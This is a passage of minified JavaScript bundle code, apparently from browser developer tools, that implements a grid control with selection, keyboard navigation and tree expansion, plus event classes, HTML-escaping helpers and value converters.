h=0;for(u=0;u<o.length;u++){if((a=this._dataSource.indexOf(o[u]))>=0){var p=this._getRowIndex(a);this._addSelection(p,a);h+=p}}this._scrollTop+=(h-r)/this._selectionCount*this._measurements.rowHeight}}_onCanvasScroll(){var e=this._canvas;this._resetScroll=!0;this._scrollLeft=e.scrollLeft;this._scrollTop=e.scrollTop;if(!this._ignoreScroll){this._notifyForPrerender();this._redraw();if(this._scrollRenderComplete){this._scrollRenderComplete();this._scrollRenderComplete=null}}return!1}getRowInfoFromEvent(e,t){var n=this.findClosestElement(e.target,t);return this._rowInfoMap[n.id]}_getClickedCell(e){return this.findClosestElement(e.target,".grid-cell")}_isCellEditing(e){return 1===e.querySelectorAll(".grid-edit-box").length}createEditBox(e,t,n){if(this._options.isGridEnabled){void 0!==this._options.preEditCellCallback&&this._options.preEditCellCallback(e,t);var r,i=this.getColumns()[t];i.getEditBox&&(r=i.getEditBox(e,i));this._editBoxControl=new s(e,t,n,this,this._options,r);this._editBoxControl.inputElement.setAttribute("aria-label",Object(o.b)("AddToWatchesWindowLink"));n.innerHTML="";n.appendChild(this._editBoxControl.inputElement);try{this._editBoxControl.inputElement.select();this._editBoxControl.inputElement.focus()}catch(e){}}}onEditCell(e){if(!e.target.classList.contains("grid-tree-icon")){var t=this._getClickedCell(e);if(this._isCellEditing(t))return;if(t&&t.classList.contains("grid-cell-editable")){var n=this.getRowInfoFromEvent(e,".grid-row");if(n){for(var o=n.row.children,r=o.length,i=-1,a=0;a<r;a++)t===o[a]&&(i=a);this.createEditBox(n.dataIndex,i,t)}}}}_onRowMouseDown(e){var t=this.getRowInfoFromEvent(e,".grid-row");if(t){var n=e.target;if(1===e.which&&n.classList.contains("grid-tree-icon"))this._onToggle(t);else if(!(3===e.which&&this._options&&this._options.disableRightClickSelection||n.classList.contains("grid-edit-box"))){this._selectRow(t.rowIndex,t.dataIndex,{ctrl:e.ctrlKey,shift:e.shiftKey,rightClick:3===e.which});this.focus(0)}}}_onGutterClick(e){var t=this.getRowInfoFromEvent(e,".grid-gutter-row");t&&(this._selectedRows&&"number"==typeof this._selectedRows[t.rowIndex]||this._selectRow(t.rowIndex,t.dataIndex))}_onBlur(e){if(e.target.classList.contains("grid-edit-box"))e.stopPropagation();else{this._active=!1;this._updateSelectionStyles()}}_onFocus(e){if(e.target.classList.contains("grid-edit-box"))e.stopPropagation();else{this._active=!0;this._updateSelectionStyles();this._updateAriaAttribute()}}_onKeyDown(e){var t={lo:-1,hi:-1};if(!this._options.isGridEnabled)return!1;if(this._copyInProgress){27===e.keyCode&&this._cancelable&&this._cancelable.cancel();return!1}this._count>0&&(t={lo:0,hi:this._expandedCount-1});this._selectedIndex<0&&this._addSelection(t.lo);if(this._options.keyboardEventHandler&&-1!==this._options.keyboardEventHandler.keys.indexOf(e.key)){if(this._options.keyboardEventHandler.handler(e,this._dataSource,this._getDataIndex(this._selectedIndex))){e.preventDefault();return!1}}switch(e.keyCode){case 40:this._clearSelection();this._addSelection(Math.min(this._selectedIndex+1,t.hi),null,null,!0);break;case 38:this._clearSelection();this._addSelection(Math.max(this._selectedIndex-1,t.lo),null,null,!0);break;case 34:this._clearSelection();var n=this._getVisibleRowIndices();if(this._selectedIndex<n.last)this._addSelection(n.last,null,null,!0);else{var o=n.last-n.first+1;this._addSelection(Math.min(this._selectedIndex+o,t.hi),null,null,!0)}break;case 33:this._clearSelection();n=this._getVisibleRowIndices();if(this._selectedIndex>n.first)this._addSelection(n.first,null,null,!0);else{o=n.last-n.first+1;this._addSelection(Math.max(this._selectedIndex-o,t.lo),null,null,!0)}break;case 39:this.tryToggle(!0,e.shiftKey);break;case 37:if(!this.tryToggle(!1,e.shiftKey))for(var r=this._getDataIndex(this._selectedIndex),i=r-1;i>=0;){if(r-i<=Math.abs(this._expandStates[i])){this._selectRow(this._getRowIndex(i),null,null,!0);break}i--}break;case 36:this._clearSelection();this._addSelection(t.lo,null,null,!0);break;case 35:this._clearSelection();this._addSelection(t.hi,null,null,!0);break;case 113:var a=this.getRowInfo(this._getDataIndex(this._selectedIndex));if(a){var s=this._getFirstEditableCellIndex(a.row.children);s>=0&&this.createEditBox(a.dataIndex,s,a.row.children[s])}break;default:return!0}this.getSelectedRowIntoView();e.preventDefault();return!1}_getFirstEditableCellIndex(e){for(var t=0;t<e.length;t++)if(e[t].classList.contains("grid-cell-editable"))return t;return-1}_onToggle(e){if(this._expandStates){var t=this._expandStates[e.dataIndex];if(0!==t){t>0?this.collapseNode(e.dataIndex):t<0&&this.expandNode(e.dataIndex);this._clearSelection();this._addSelection(Math.min(e.rowIndex,this._expandedCount-1),e.dataIndex,null,!0);this._layoutContentSpacer();this._redraw();this._notifyForPrerender()}}}getExpandStates(){return this._expandStates}}v.TYPE_NAME="GridControl";v.MAX_CELL_CONTENT_SIZE=1e3;v.EVENT_SELECTED_INDEX_CHANGED="selectedIndexChanged";v.INDENT_WIDTH=12;v.GLYPH_WIDTH=10;v.DEFAULT_TOOLTIP_HEIGHT=65},function(e,t,n){"use strict";n.d(t,"a",function(){return o});n.d(t,"c",function(){return r});n.d(t,"d",function(){return i});n.d(t,"e",function(){return a});n.d(t,"b",function(){return s});function o(...e){return Object.assign({},...e)}function r(e){let t=e;const n=t.indexOf("#");n>-1&&(t=t.substring(0,n));const o=t.indexOf("?");o>-1&&(t=t.substring(0,o));for(;"/"===t[t.length-1];)t=t.substring(0,t.length-1);const r=t.lastIndexOf("/");r>-1&&(t=t.substring(r+1));return t}function i(e,t,n){return!!e&&(!("error"===e.type&&!t.all&&!t.error)&&(!("warn"===e.type&&!t.all&&!t.warning)&&(!("info"===e.type&&!t.all&&!t.info)&&(!("log"===e.type&&!t.all&&!t.log)&&(!n||("value"!==e.kind&&"string"!==e.kind||e.value.toLocaleLowerCase().includes(n.toLocaleLowerCase())))))))}function a(e,t,n,o){const r=n||0;let i,a,s=!0,l=!0,c=0,u=null;o&&"boolean"==typeof o.leading&&(s=o.leading);o&&"boolean"==typeof o.trailing&&(l=o.trailing);const d=n=>{const o=(new Date).getTime(),h=o-c,p=s?r-h:r;if(h>=r&&(!n||s)){c=o;if(u){clearTimeout(u);u=null}i=e.apply(t,a)}else null===u&&l&&(u=window.setTimeout(d,p));return i};return(...e)=>{a=e;return d(!0)}}function s(e,t){const n=parseInt(e,10),o=parseInt(t,10);if(isNaN(n)||isNaN(o)){const n="__"===e.substr(0,2),o="__"===t.substr(0,2);if(n&&!o)return 1;if(!n&&o)return-1;const r=e.toLowerCase(),i=t.toLowerCase();return r===i?l(e,t):l(r,i)}return n-o}function l(e,t){return e<t?-1:e>t?1:0}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{static escapeRegExp(e){return String.prototype.replace.call(e,o.ESCAPE_USER_INPUT_REGEX,"\\$&")}static escapeRegExpWithWildCard(e){return String.prototype.replace.call(e,o.ESCAPE_USER_INPUT_REGEX,function(e){return"*"===e?".*":"\\"+e})}static wrapInQuotes(e){return'"'+String.prototype.replace.call(e,/\\"/g,'"')+'"'}static unescapeHtml(e){if("string"!=typeof e){if(null===e||void 0===e)return"";e=""+e}return String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(e,/&gt;/g,">"),/&lt;/g,"<"),/&apos;/g,"'"),/&quot;/g,'"'),/&amp;/g,"&")}static escapeHtmlAndPreserveWhitespace(e){var t=[e],n=(e=String.prototype.replace.call(e,/(\r\n|\n\r|\r|\n)/g,"\r\n")).split("\r\n");if(n.length>0){t=[];for(var r=0;r<n.length;r++){var i=n[r];i="<pre>"+(i=o.escapeHtml(i))+"</pre>";t.push(i)}}return t}static escapeHtml(e){if("string"!=typeof e){if(null===e||void 0===e)return"";e=""+e}return String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(String.prototype.replace.call(e,/&/g,"&amp;"),/"/g,"&quot;"),/'/g,"&apos;"),/</g,"&lt;"),/>/g,"&gt;")}static replaceSpacesWithNonBreakingSpaceEntities(e){return String.prototype.replace.call(e,/ /g," ")}static replaceLineBreaksWithNonBreakingSpaceEntities(e){return String.prototype.replace.call(e,/[\r\n]/g," ")}}o.ESCAPE_USER_INPUT_REGEX=/([.+?^=!:${}()|\[\]\/\\])|(\*)/g},function(e,t,n){"use strict";n.d(t,"b",function(){return r});n.d(t,"c",function(){return i});n.d(t,"a",function(){return a});var o=n(5);const r=e=>{if(o.b.isAtBreakpoint)throw new Error("Cannot call notifyOnStartProfiling while at a breakpoint.");return o.b.notifyOnStartProfiling(e)},i=e=>{if(o.b.isAtBreakpoint)throw new Error("Cannot call notifyOnStopProfiling while at a breakpoint.");return o.b.notifyOnStopProfiling(e)},a=()=>o.b.isProfiling},function(e,t,n){"use strict";function o(){if("undefined"!=typeof __REACT_DEVTOOLS_GLOBAL_HOOK__&&"function"==typeof __REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE){0;try{__REACT_DEVTOOLS_GLOBAL_HOOK__.checkDCE(o)}catch(e){console.error(e)}}}o();e.exports=n(235)},function(e,t,n){"use strict";n.d(t,"b",function(){return a});n.d(t,"a",function(){return s});var o=n(50),r=n(10),i=n(39);const a=Symbol("ClientProxy#Listen");class s{constructor(e){this.rpc=Object(r.g)();this.providerPluginId=void 0===e?new Promise(e=>{this.pluginIdDeferral=e}):Promise.resolve(e)}async[i.b](e,t){const n=await this.providerPluginId;return this.rpc.call(n,e,t)}[i.c](e){this.pluginIdDeferral(e)}[a](e,t){this.rpc.listen(e,t)}[i.d](...e){return this.rpc.call("ms:host",o.b,[Object(r.b)(),e])}}},function(e,t,n){"use strict";class o{constructor(e,t,n){this.type=e;this.timeStamp=Date.now();this.target=n;t&&"object"==typeof t&&Object.getOwnPropertyNames(t).forEach(e=>{const n=Object.getOwnPropertyDescriptor(t,e);Object.defineProperty(this,e,n)})}get bubbles(){return!1}get cancelable(){return!1}get currentTarget(){return this.target}get defaultPrevented(){return!!this._preventDefaultsCalled}get trusted(){return!1}get isTrusted(){return!1}get NONE(){return o.NONE}get CAPTURING_PHASE(){return o.CAPTURING_PHASE}get AT_TARGET(){return o.AT_TARGET}get BUBBLING_PHASE(){return o.BUBBLING_PHASE}preventDefault(){this._preventDefaultsCalled=!0}stopImmediatePropagation(){this._stopImmediatePropagationCalled=!0}stopPropagation(){}initEvent(e,t,n){}deepPath(){throw new Error("Not implemented")}}o.supportForProcessing=!1;o.NONE=0;o.CAPTURING_PHASE=1;o.AT_TARGET=2;o.BUBBLING_PHASE=3;o.prototype.eventPhase=0;o.prototype.detail=null;n.d(t,"a",function(){return r});class r{addEventListener(e,t){this.listeners=this.listeners||{};const n=this.listeners[e]=this.listeners[e]||[];for(let e=0,o=n.length;e<o;e++){if(n[e].listener===t)return}n.push({listener:t})}dispatchEvent(e,t){let n=this.listeners&&this.listeners[e];const r=this.target&&this.target["on"+e];if(n||"function"==typeof r){const i=new o(e,t,this.target);if(n)for(let e=0,t=(n=n.slice(0,n.length)).length;e<t&&!i._stopImmediatePropagationCalled;e++)n[e].listener(i);"function"==typeof r&&r(i);return i.defaultPrevented||!1}return!1}removeEventListener(e,t){const n=this.listeners&&this.listeners[e];if(n)for(let o=0,r=n.length;o<r;o++){if(n[o].listener===t){n.splice(o,1);0===n.length&&delete this.listeners[e];break}}}setTarget(e){this.target=e}}},function(e,t,n){"use strict";n.d(t,"a",function(){return o});class o{constructor(){this._eventCallbacks={}}addEventListener(e,t){var n=this._eventCallbacks[e];if(!n){this._eventCallbacks[e]=new Array;n=this._eventCallbacks[e]}n.push(t)}addOneTimeListener(e,t){var n=o=>{this.removeEventListener(e,n);t(o)};this.addEventListener(e,n)}waitForEvent(e,t,n){return new Promise(o=>{const r=t=>{if(!0===n(t)){this.removeEventListener(e,r);o(t)}};this.addEventListener(e,r);t()})}removeEventListener(e,t){var n=this._eventCallbacks[e];n&&n.splice(n.indexOf(t),1)}fireEvent(e,t){if(this._eventCallbacks[e])for(var n=this._eventCallbacks[e].slice(0),o=0;o<n.length;o++)n[o](t)}fireEventForFirstListener(e,t){if(this._eventCallbacks[e]){var n=this._eventCallbacks[e].slice(0);n.length>0&&n[0](t)}}}},function(e,t,n){"use strict";n.d(t,"a",function(){return s});var o=n(46),r=n(0),i=n(31),a=n(124);async function s(){a.a.addGlobalErrorHandler();await Object(r.d)();await o.a.loadCulture();Object(i.b)()}},function(e,t,n){"use strict";n.d(t,"a",function(){return r});var o=n(4);class r{constructor(e,t,n){if(e){o.a.isTrue(e>=0,"Invalid line number: "+e.toString());this._line=e}else this._line=0;if(t){o.a.isTrue(t>=0,"Invalid column: "+t.toString());this._column=t}else this._column=0;if(n){o.a.isTrue(n>=0,"Invalid file: "+n.toString());this._file=n}else this._file=0}set line(e){o.a.isTrue(e>=0,"Invalid line number: "+e.toString());this._line=e}set column(e){o.a.isTrue(e>=0,"Invalid column: "+e.toString());this._column=e}set file(e){o.a.isTrue(e>=0,"Invalid file: "+e.toString());this._file=e}get line(){return this._line}get column(){return this._column}get file(){return this._file}}r.EMPTY_POSITION=new r},function(e,t,n){"use strict";n.d(t,"a",function(){return l});var o=n(46),r=n(0),i=n(31),a=n(23),s=n(12);class l{static initialize(){l.CreateShortenedUrlConverter=l.getCreateShortenedUrlConverter();l.HtmlTooltipFromResourceConverter=l.getHtmlTooltipFromResourceConverter();l.IntToStringConverter=l.getIntToStringConverter();l.IntToStringWithGroupSeperatorConverter=l.getIntToStringWithGroupSeperatorConverter();l.IntToBooleanConverter=l.getIntToBooleanConverter();l.InvertBool=l.invertBoolConverter();l.IsTabbableToTabIndexConverter=l.getIsTabbableToTabIndexConverter();l.JsonHtmlTooltipToInnerTextConverter=l.getJsonHtmlTooltipToInnerTextConverter();l.NotDisabledToTrue=l.getNotDisabledToTrueConverter();l.NullPermittedConverter=l.getNullPermittedConverter();l.OnToTrue=l.getOnToTrueConverter();l.ResourceConverter=l.getResourceConverter();l.StringToBooleanConverter=l.getStringToBooleanConverter();l.StringToIntConverter=l.getStringToIntConverter();l.ThemedImageConverter=l.getThemedImageConverter()}static getCreateShortenedUrlConverter(){return{convertTo:e=>s.a.createShortenedUrlText(e),convertFrom:null}}static getResourceConverter(){return{convertTo:e=>e?Object(r.b)(e):"",convertFrom:null}}static getThemedImageConverter(){return{convertTo:e=>Object(i.b)().getValue(e),convertFrom:null}}static getStringToBooleanConverter(){return{convertTo:e=>"true"===e,convertFrom:e=>e?"true":"false"}}static getStringToIntConverter(){return{convertTo:e=>e>>0,convertFrom:e=>e.toString()}}static getIntToStringConverter(){return{convertTo:e=>null!==e&&void 0!==e?e.toString():"",convertFrom:e=>e>>0}}static getIntToStringWithGroupSeperatorConverter(){return{convertTo:e=>null!==e&&void 0!==e?a.a.getDecimalLocaleString(e,!0):"",convertFrom:e=>{var t=o.a.NumberFormat;t&&t.numberGroupSeparator&&(e=e.replace(t.numberGroupSeparator,""));return e>>0}}}static getIntToBooleanConverter(){return{convertTo:e=>!!e,convertFrom:e=>e?1:0}}static invertBoolConverter(){return{convertTo:e=>!e,convertFrom:e=>!e}}static getIsTabbableToTabIndexConverter(){return{convertTo:e=>e?0:-1,convertFrom:null}}static getHtmlTooltipFromResourceConverter(){return{convertTo:e=>JSON.stringify({content:Object(r.b)(e),contentContainsHTML:!0}),convertFrom:null}}static getJsonHtmlTooltipToInnerTextConverter(){return{convertTo:e=>{l.initializeConverterElement();if(e.match(l.JSONRegex))try{const t=JSON.parse(e);if(t.contentContainsHTML){l.HTMLConverterElement.style.visibility="visible";l.HTMLConverterElement.innerHTML=t.content;const e=l.HTMLConverterElement.innerText;l.HTMLConverterElement.innerHTML="";return e}return t.content}catch(e){}finally{l.HTMLConverterElement.style.visibility="hidden"}return e},convertFrom:null}}static getNotDisabledToTrueConverter(){return{convertTo:e=>2!==e&&null!==e&&void 0!==e,convertFrom:null}}static getNullPermittedConverter(){return{convertTo:e=>e,convertFrom:e=>e}}static getOnToTrueConverter(){return{convertTo:e=>0===e,convertFrom:e=>e?0:1}}static initializeConverterElement(){if(!l.HTMLConverterElement){l.HTMLConverterElement=document.createElement("div");l.HTMLConverterElement.id="CommonConverters_HTMLConverterElement";l.HTMLConverterElement.setAttribute("style","visibility: hidden; position: absolute;");document.body.appendChild(l.HTMLConverterElement)}}}l.JSONRegex=/^\{.*\}$/;l.initialize()},,function(e,t,n){"use strict";n.d(t,"a",function(){return o});n.d(t,"b",function(){return r});class o{}o.E_ABORT=-2147467260;o.MINIMUM_REQUIRED_DOCUMENT_MODE=10;o.MEMORY_ANALYZER_SNAPSHOT_RESOURCE_TYPE="MemoryAnalyzer.Resource.Snapshot";o.MEMORY_ANALYZER_TOOL_GUID="BE2D5223-40F7-4428-A9A0-AF888725C1FB";o.UI_RESPONSIVENESS_TOOL_GUID="{0615D892-30B0-4ADA-AFAB-93BFE13D9538}";class r{}r.F12_TEMP_DATA_ROOT_PATH="%localappdata%\\Temp\\Microsoft\\F12\\";r.F12_TEMP_DATA_ROOT_PATH_UWP="%localappdata%\\..\\TempState\\"},function(e,t,n){"use strict";n.d(t,"c",function(){return s});n.d(t,"a",function(){return l});n.d(t,"b",function(){return d});n.d(t,"d",function(){return h});var o=n(47),r=n(62),i=n(46),a=n(31);class s{static stableReverse(e,t){for(var n=[],o=e.length-1;o>=0;o--){for(var r=o-1;r>=0&&0===t(e[r],e[o]);r--);for(var i=r+1;i<=o;i++)n.push(e[i]);o=r+1}for(o=0;o<n.length;o++)e[o]=n[o]}static defaultComparer(e,t,n,o){var r=n[e.index],i=o[e.index];return void 0===r||null===r?void 0===i||null===i?0:-1:void 0===i||null===i?1:r.toString().toLocaleUpperCase().localeCompare(i.toString().toLocaleUpperCase())}static sortComparer(e,t,n,o){for(var r=0;r<e.length;r++){var i=e[r],a=t[r],l=(a.comparer||s.defaultComparer)(a,i.order,n,o);if(0!==l)return"desc"===i.order?-l:l}return 0}}class l{constructor(e,t,n,o,r,i,a,s,c){this.index=e;this.text=t;this.tooltip=n;this.width=o;this.canSortBy=r;this.getColumnValue=i;this.getCellCSSClass=a;this.comparer=s;this.hasHTMLContent=!1;this.defaultSortOrder=c||"asc";this.maxTooltipLineLength=l.DEFAULT_MAX_TOOLTIP_LINE_LENGTH}}l.DEFAULT_MAX_TOOLTIP_LINE_LENGTH=64;class c{constructor(e,t){this.data=e;this.expandState=t;this.children=[]}}class u{constructor(e,t){this.icon=e;this.checkbox=t}}class d{constructor(e,t,n,o,r){this.childDataCallback=e;this.columns=t;this.sortOrders=n;this.allowMultiSelect=r||!1;this.allowSortOnMultiColumns=!1;this.asyncInit=!0;this.autoSort=!0;this.coreCssClass="grid";this.cssClass="";this.canvasClass="grid-canvas";this.headerElementClass="grid-header";this.headerColumnElementClass="grid-header-column";this.rowClass="grid-row";this.rowNormalClass="grid-row-normal";this.rowSelectedClass="grid-row-selected";this.rowSelectedBlurClass="grid-row-selected-blur";this.rowCurrentClass="grid-row-current";this.cellClass="grid-cell";this.expandStates=[];this.extendViewportBy=3;this.gutter=new u;this.header=!0;this.height="100%";this.initialSelection=!1;this.keepSelection=!1;this.payloadSize=200;this.source=null;this.editCellCallback=o;this.overflowColumn=!1;this.focusable=!0}}class h extends o.a{constructor(e,t){super(e);this._options=t;this._canvas=null;this._contentSpacer=null;this._element=null;this._focus=null;this._gutter=null;this._gutterHeader=null;this._header=null;this._headerCanvas=null;this._dataSource=[];this._rows={};this._columns=[];this._expandStates=null;this._expandedCount=0;this._sortOrder=[];this._rowInfoMap={};this._editCellCallback=null;this._selectedRows=null;this._selectionStart=-1;this._selectionCount=0;this._selectedIndex=-1;this._active=!1;this._activeAriaId=null;this._getChildDataCallback=null;this._canvasHeight=300;this._canvasWidth=300;this._contentSize=null;this._measurements={};this._count=0;this._indentIndex=0;this._indentLevels=null;this._visibleRange=[];this._columnSizing=null;this._sizingElement=null;this._copyInProgress=!1;this._resetScroll=!1;this._ignoreScroll=!1;this._scrollTop=0;this._scrollLeft=0;this._cancelable=null;this._updateThemeAttributes();this.initialize()}static _setTooltip(e,t,n,o){-1!==(o=o||l.DEFAULT_MAX_TOOLTIP_LINE_LENGTH)&&(t=this._textSplit(t,o));var r={content:t,height:n,contentContainsHTML:!1};e.setAttribute("data-plugin-vs-tooltip",JSON.stringify(r))}getSelectionCount(){return this._selectionCount}getElement(){return this._element}initializeDataSource(){var e;if(this._resetScroll){this._ignoreScroll=!0;try{(e=this._canvas).scrollTop=0;e.scrollLeft=0;this._scrollLeft=0;this._scrollTop=0;this._resetScroll=!1}finally{this._ignoreScroll=!1}}return this.setDataSource(this._options.source,this._options.expandStates,this._options.columns,this._options.sortOrders).then(this._initializeDataSourceComplete.bind(this))}activateWithDynamicData(e){this.setDataSource([],[],this._options.columns,null);this._count=e;this._expandedCount=e;this._expandStates=[0]}setDataSource(e,t,n,o,r){var i,a,s;this._dataSource=e||[];this._count=s=this._dataSource.length;if(t){this._expandStates=t;this._indentLevels=h.expand(t)}else{this._indentLevels=null;this._expandStates=null}this._expandedCount=s;this._updateRanges();this._columns=[];if(n){var l=(e,t,n,o,r,i,a)=>this._drawCell(e,t,n,o,r,i,a),c=(e,t)=>this._drawHeaderCellValue(e,t),u=(e,t,n)=>this.getColumnValue(e,t,n);for(i=0,a=n.length;i<a;i++){var d=n[i];d.index=void 0!==d.index?d.index:String(i);d.canSortBy=!1!==d.canSortBy;d.canMove=!1!==d.canMove;d.width=void 0!==d.width?d.width:100;d.getCellContents=d.getCellContents||l;d.getHeaderCellContents=d.getHeaderCellContents||c;d.getColumnValue=d.getColumnValue||u;this._columns.push(d)}}this._sortOrder=[];if(o)for(i=0,a=o.length;i<a;i++){var p=o[i];"desc"!==p.order&&(p.order="asc");this._sortOrder.push(p)}this._clearSelection();this._determineIndentIndex();this._options.asyncInit?window.setTimeout(()=>this._layoutAfterSetDataSource(r),0):this._layoutAfterSetDataSource(r);return Promise.resolve(null)}getRowInfo(e){return this._rows[e]}getRowData(e){return this._dataSource[e]}getRowDataIndex(e){return this._dataSource.indexOf(e)}getColumns(){return this._columns||[]}getSortOrder(){return this._sortOrder||[]}getSortColumns(e){e=e||this.getSortOrder();return this._getSortColumns(e)}_updateRanges(){var e=0,t=0,n=this._count,o=[],i=0;if(this._expandStates){for(;e<n;){var a=this._expandStates[e];if(a<0){o[o.length]=new r.d(t,e);i+=e-t+1;t=e+=1-a}else e++}if(t<n){o[o.length]=new r.d(t,n-1);i+=n-t}}else{i=n;o[o.length]=new r.d(0,i)}this._expandedCount=i;this._visibleRange=o}expandNode(e){this._dataSource[e+1].isPlaceholder&&this._getChildDataCallback(this._dataSource[e],t=>{null!==t&&this._adjustForDynamicData(t.itemsWithPlaceholders,t.expandStates,e)});if(this._expandStates){var t=this._getExpandState(e);if(t<0){this._expandStates[e]=-t;this._updateRanges();var n=this._rows[e];n&&(n.isDirty=!0);this._onExpandedCollapsed(!0,e)}}}collapseNode(e){if(this._expandStates){var t=this._expandStates[e];if(t>0){this._expandStates[e]=-t;this._updateRanges();var n=this._rows[e];n&&(n.isDirty=!0);this._onExpandedCollapsed(!1,e)}}}expandAllNodes(){var e=0,t=this._count,n=this._expandStates,o=!1,r=this._rows;if(n){for(;e<t;){var i=n[e];if(i<0){n[e]=-i;o=!0;var a=r[e];a&&(a.isDirty=!0)}e++}if(o){this._updateRanges();this._onExpandedCollapsed(!0)}}return o}collapseAllNodes(){var e=0,t=this._count,n=this._expandStates,o=!1,r=this._rows;if(n){for(;e<t;){var i=n[e];if(i>0){n[e]=-i;o=!0;var a=r[e];a&&(a.isDirty=!0)}e++}if(o){this._updateRanges();this._onExpandedCollapsed(!1)}}return o}expandAll(){this._updateExpansionStateAndRedraw(()=>this.expandAllNodes())}collapseAll(){this._updateExpansionStateAndRedraw(()=>this.collapseAllNodes())}tryToggle(e,t){var n;if(!this._expandStates||this._selectedIndex<0||this.getExpandedCount()<=0)return!1;var o=this._getDataIndex(this._selectedIndex);if(!this._rows[o])return!1;if(0!==(n=this._getExpandState(o))){if(e){if(!(n<0))return!1;this.expandNode(o)}else{if(!(n>0))return!1;this.collapseNode(o)}this._clearSelection();this._addSelection(this._selectedIndex);this._layoutContentSpacer();this._redraw();return!0}return!1}calculateVisibleRowIndices(e,t){var n=this.getExpandedCount()-1,o=this._measurements.rowHeight;return{first:Math.min(n,Math.max(0,Math.ceil(e/o))),last:Math.min(n,Math.floor(t/o)-1)}}getSelectedRowIntoView(e){return this._getRowIntoView(this._selectedIndex,e)}getSelectedRowIntoViewCenter(){return this._getRowIntoViewCenter(this._selectedIndex)}getSelectedRows(){return this._selectedRows}cacheRows(e,t,n){}updateRow(e,t){var n=0,o=0;void 0===t||t<0?t=this._getDataIndex(e):(void 0===e||e<0)&&(e=this._getRowIndex(t));var r=this._rows[t];if(r){if(this._expandStates){n=this._getExpandState(t);o=this.indentLevel(t)}this._updateRow(r,e,t,n,o)}}layout(){this._measureCanvasSize();this._cleanUpRows();this._fixScrollPos();this._layoutContentSpacer();this._updateViewport();this._layoutHeader();this._drawHeader()}redraw(){this._fixScrollPos();this._redraw(!0)}getColumnValue(e,t,n){return this._dataSource[e][t]}getColumnText(e,t,n){var o,r=t.getColumnValue(e,t.index,n,this._dataSource);o="string"!=typeof r?h.convertValueToDisplayString(r,t.format):r;t.maxLength=Math.max(t.maxLength||0,o.length);return o}getSelectedRowIndex(){return this._selectionCount>0?this._selectedIndex:-1}setSelectedRowIndex(e){this._clearSelection();this._addSelection(e)}getSelectedDataIndex(){return this._getDataIndex(this.getSelectedRowIndex())}getSelectedDataIndices(){var e,t=this._selectedRows,n=[];if(t)for(e in t)n[n.length]=t[e];return n}ensureDataIndexExpanded(e){for(var t=this._getRowIndex(e);t<0||e>0&&0===t;){this.expandNode(this._getDataIndex(-t));t=this._getRowIndex(e)}return t}setSelectedDataIndex(e,t){var n=t?this.ensureDataIndexExpanded(e):this._getRowIndex(e);this.setSelectedRowIndex(n)}selectionChanged(e,t,n){}selectedIndexChanged(e,t){}onSort(e,t){if(this._options.autoSort){this._trySorting(e,t);this._sortOrder=e;this.layout()}return!0}getRowInfoFromEvent(e,t){var n=this.findClosestElement(e.target,t);return n?this._rowInfoMap[n.id]:null}getExpandStates(){return this._expandStates}options(){return this._options}getExpandedCount(){return this._expandedCount}setCounts(e){this._expandedCount=e;this._count=e}updateCounts(e){this._expandedCount+=e;this._count+=e}getVisibleRowIndices(){return this._getVisibleRowIndices()}addEventListenerToCanvas(e,t,n){var o=function(){n.apply(t,arguments)};this._canvas.addEventListener(e,o)}onSelectRow(e){}widenRows(e){var t=4;for(var n in this._canvas.children)if("0"!==n&&this._canvas.children.hasOwnProperty(n)&&this._canvas.children[n].children){var o=0;for(var r in this._canvas.children[n].children)this._canvas.children[n].children.hasOwnProperty(r)&&(o+=this._canvas.children[n].children[r].scrollWidth);e<o+t&&(e=o+t)}for(var n in this._canvas.children)if("0"!==n&&this._canvas.children.hasOwnProperty(n)&&this._canvas.children[n].children){this._canvas.children[n].style.width=e+"px"}}canvasClientWidth(){return this._canvas.clientWidth}markRowDirty(e){this._rows[e]&&(this._rows[e].isDirty=!0)}getMeasurements(){return this._measurements}getRowTop(e){return e*this._measurements.rowHeight}getTotalDataHeight(){return this.getExpandedCount()*this._measurements.rowHeight}isActive(){return this._active}getHeaderHeight(){return this._options.header?this._header.clientHeight:0}onCtrlC(){}onF12(){}onCtrlG(){}isEmpty(){for(var e in this._rows){var t=parseInt(e);if(this._rows.hasOwnProperty(t))return!1}return!0}getCanvas(){return this._canvas}updateMouseOverRowStyle(e){}updateMouseOutRowStyle(e){}updateSelectedRowStyle(e){}updateUnselectedRowStyle(e){}onTreeIconMouseOver(e){}onTreeIconMouseOut(e){}static expand(e){var t=[];if(e.length>0){var n=[],o={level:1,origCount:e.length,remainingCount:e.length};n.push(o);for(var r=0;r<e.length;){t.push(o.level);o.remainingCount--;for(;0===o.remainingCount;){n.pop();if(0==n.length){if(r===e.length-1)break;throw new Error("invalid descendant counts, nesting not possible")}var i=n[n.length-1];i.remainingCount-=o.origCount;if((o=i).remainingCount<0)throw new Error("invalid descendant counts, cannot convert to indentation levels")}var a=Math.abs(e[r]);if(a>0){var s={level:t[t.length-1]+1,origCount:a,remainingCount:a};n.push(s);o=s}r++}if(n.length>0)throw new Error("invalid descendant counts, more input expected")}return t}_getExpandState(e){var t=0;this._expandStates&&"number"==typeof this._expandStates[e]&&(t=this._expandStates[e]);return t}_clearSelection(){this._selectionCount=0;this._selectedRows=null;this._activeAriaId=null}_addSelection(e,t,n){var o=n&&n.keepSelectionStart,r=n&&n.doNotFireEvent,i=n&&n.toggle;if(!1===this._options.allowMultiSelect){o=!1;this._clearSelection()}this._selectedRows||(this._selectedRows={});if(e>=0){var a=!0;if(this._selectedRows.hasOwnProperty(e)){if(i){a=!1;this._selectionCount=Math.max(0,this._selectionCount-1);delete this._selectedRows[e]}}else this._selectionCount++;"number"!=typeof t&&(t=this._getDataIndex(e));a&&(this._selectedRows[e]=t);this._selectedIndex=e;this._updateAriaAttribute();(this._selectionStart<0||!o)&&(this._selectionStart=e)}else{t=-1;this._selectedIndex=-1}if(!r){this._updateSelectionStyles();this._selectionChanged();this._selectedIndexChanged(this._selectedIndex,t)}e>=0&&this.onSelectRow(e)}checkUpdateActive(e){this._selectionCount>0&&e.rowIndex===this._selectedIndex&&e.row&&this.updateActive(e.row)}updateActive(e){try{e.focus()}catch(e){}}_updateAriaAttribute(){var e=this._getDataIndex(this._selectedIndex);if(null!=e){var t=this.getRowInfo(e);if(t&&t.row){var n=t.row.getAttribute("id");if(n!==this._activeAriaId){var 